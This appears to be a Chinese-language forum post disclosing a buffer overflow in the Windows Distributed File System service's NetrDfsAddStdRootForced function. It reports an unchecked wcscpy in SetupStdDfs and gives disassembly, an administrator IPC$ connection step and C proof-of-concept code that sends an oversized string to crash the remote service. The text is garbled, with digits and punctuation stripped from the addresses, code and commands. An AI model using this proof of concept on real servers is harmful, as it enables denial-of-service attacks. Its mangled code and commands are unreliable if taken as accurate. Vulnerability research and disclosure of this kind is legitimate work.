前言:
最近在windows advanced server下研究Distributed File System服务的时候 在当中一个函数发现一个溢出 经过测试 发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe 才能发生溢出 不知道这样的问题 属于不属于安全漏洞呢?
今天决定发出来给大家共同研究一下 说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行溢出 那这个就算真正的安全问题了 而且危害性肯定也强了
问题细节:
这个溢出问题 是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数上面 这个第四个参数是会作为第五个参数传递给SetupStdDfs的 在这个函数里面调用wcscpy 问题出在这里没有进行边界检查 导致溢出的代码如下:
NetrDfsAddStdRootForced函数
text: A B mov edi [ebp+arg_C]
text: A B test edi edi
text: A AF jz loc_ A
text: A F push edi
text: A push
text: A push [ebp+arg_ ]
text: A lea eax [ebp+var_ ]
text: A B push [ebp+arg_ ]
text: A E push eax
text: A F call SetupStdDfs
SetupStdDfs函数
text: FB push ebp
text: FB mov ebp esp
text: FB sub esp h
text: FBD push ebx
text: FBE mov ebx ds:wcscpy
text: FC push esi
text: FC push edi
text: FC xor esi esi
text: FC xor edi edi
text: FCA cmp [ebp+arg_ ] esi
text: FCD jnz short loc_ FE
text: FE loc_ FE :
text: FE push [ebp+arg_ ]
text: FE lea eax [ebp+var_ C]
text: FEB push eax
text: FEC call ebx ; wcscpy
调用流程为:
NetrDfsAddStdRootForced >SetupStdDfs >wcscpy
溢出测试方法:
( ) 先使用目标机器的管理员组成员建立一个ipc$连接net use 目标机器ipipc$ 管理员组成员密码 /user:管理员组成员账号
( ) 使用如下测试代码测试:
#include <stdio h>
#include <stdlib h>
#include <windows h>
#include <Lm h>
#include <Lmdfs h>
#pragma comment(lib Netapi lib )
int main (void)
{ wchar_t a[]=L \ip ; //把ip替换为你的目标机器ip
wchar_t b[ ];
LPWSTR ServerName=a;
LPWSTR RootShare=L fzk ;
LPWSTR Comment=L fzk ;
LPWSTR Store;
int i;
for (i = ; i< ;i++)
wcscat(b L A );
Store = b;
if( NetDfsAddStdRootForced( ServerName RootShare Comment Store) == NERR_Success)
return TRUE;
else
return FALSE;}
把以上代码存为test cpp 运行cl test cpp编译 然后执行test exe 到这里应该目标机器的Distributed File System服务已经down掉了
附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 已经被弃用了Distributed File System服务在windows 服务器下面是默认开放的